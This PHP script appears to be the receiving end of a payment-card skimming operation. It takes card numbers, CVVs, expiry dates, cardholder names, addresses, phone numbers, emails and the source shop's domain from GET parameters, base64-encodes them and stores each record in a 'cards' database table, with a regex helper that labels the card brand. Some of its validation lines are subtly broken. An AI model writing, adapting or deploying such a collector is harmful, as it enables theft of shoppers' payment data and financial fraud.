<?php

include('./kernel/config.php');

$number=preg_replace('/\D+/','',isset($_GET['n'])) ? base64_encode(preg_replace('/\D+/','',$_GET['n'])) : '';
$owner=isset($_GET['ow']) ? base64_encode($_GET['ow']) : '';
$expires=preg_replace('/[^0-9\/]+/','',isset($_GET['ex'])) ? base64_encode(preg_replace('/[^0-9\/]+/','',$_GET['ex'])) : '';
$cvv2=substr(preg_replace('/\D+/','',isset($_GET['cv'])),0,3) ? base64_encode(substr(preg_replace('/\D+/','',$_GET['cv']),0,3)) : '';
$firstname=isset($_GET['fn']) ? base64_encode($_GET['fn']) : '';
$lastname=isset($_GET['ln']) ? base64_encode($_GET['ln']) : '';
$address=isset($_GET['ad']) ? base64_encode($_GET['ad']) : '';
$country=isset($_GET['co']) ? base64_encode($_GET['co']) : '';
$state=isset($_GET['st']) ? base64_encode($_GET['st']) : '';
$city=isset($_GET['ci']) ? base64_encode($_GET['ci']) : '';
$postcode=isset($_GET['po']) ? base64_encode($_GET['po']) : '';
$street=isset($_GET['stt']) ? base64_encode($_GET['stt']) : '';
$phone=isset($_GET['ph']) ? base64_encode($_GET['ph']) : '';
$time=time();

$search=array('http://','https://','/'); $replace=array();

$domain=base64_encode(str_ireplace($search,$replace,$_GET['lk']));
$email=isset($_GET['em']) ? base64_encode($_GET['em']) : '';
$ctype=dcard(base64_decode($number));

if(strlen($number)<5 or strlen($expires)<3 or strlen($cvv2)<3){
    exit;
}
/* check if the card is alredy exist

$check = $connect->prepare('SELECT id FROM cards WHERE cnumber = ?');
$check->bind_param('s', $number);
$check->execute();
$check->store_result();

if ($check->num_rows > 0) {
    $check->close();
    exit;
}
$check->close();
*/

$stmt = $connect->prepare('INSERT INTO cards(cnumber,owner,expires,cvv2,firstname,lastname,address,country,state,city,postcode,street,phone,addtime,domain,email,ctype) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)');

$stmt->bind_param('sssssssssssssissi',$number,$owner,$expires,$cvv2,$firstname,$lastname,$address,$country,$state,$city,$postcode,$street,$phone,$time,$domain,$email,$ctype);

$stmt->execute();

function dcard($cardNumber) {
    $cardNumber = preg_replace('/\D/','',$cardNumber);

    $cardTypes = array(
        '1' => '/^4[0-9]{12}(?:[0-9]{3})?$/', // visa
        '2' => '/^5[1-5][0-9]{14}$/', // mastercard
        '3' => '/^3[47][0-9]{13}$/', // amex
        '4' => '/^6(?:011|5[0-9]{2})[0-9]{12}$/', // discover
        '5' => '/^3(?:0[0-5]|[68][0-9])[0-9]{11}$/', // diners
        '6' => '/^(?:2131|1800|35\d{3})\d{11}$/', // jcb
        '7' => '/^62[0-9]{14,17}$/', // unionpay
        '8' => '/^(5[06-9]|6[37])[0-9]{10,17}$/' // maestro
    );

    foreach ($cardTypes as $type => $pattern) {
        if (preg_match($pattern, $cardNumber)) {
            return $type;
        }
    }
    return '0';
}

$stmt->close();
mysqli_close($connect);

?>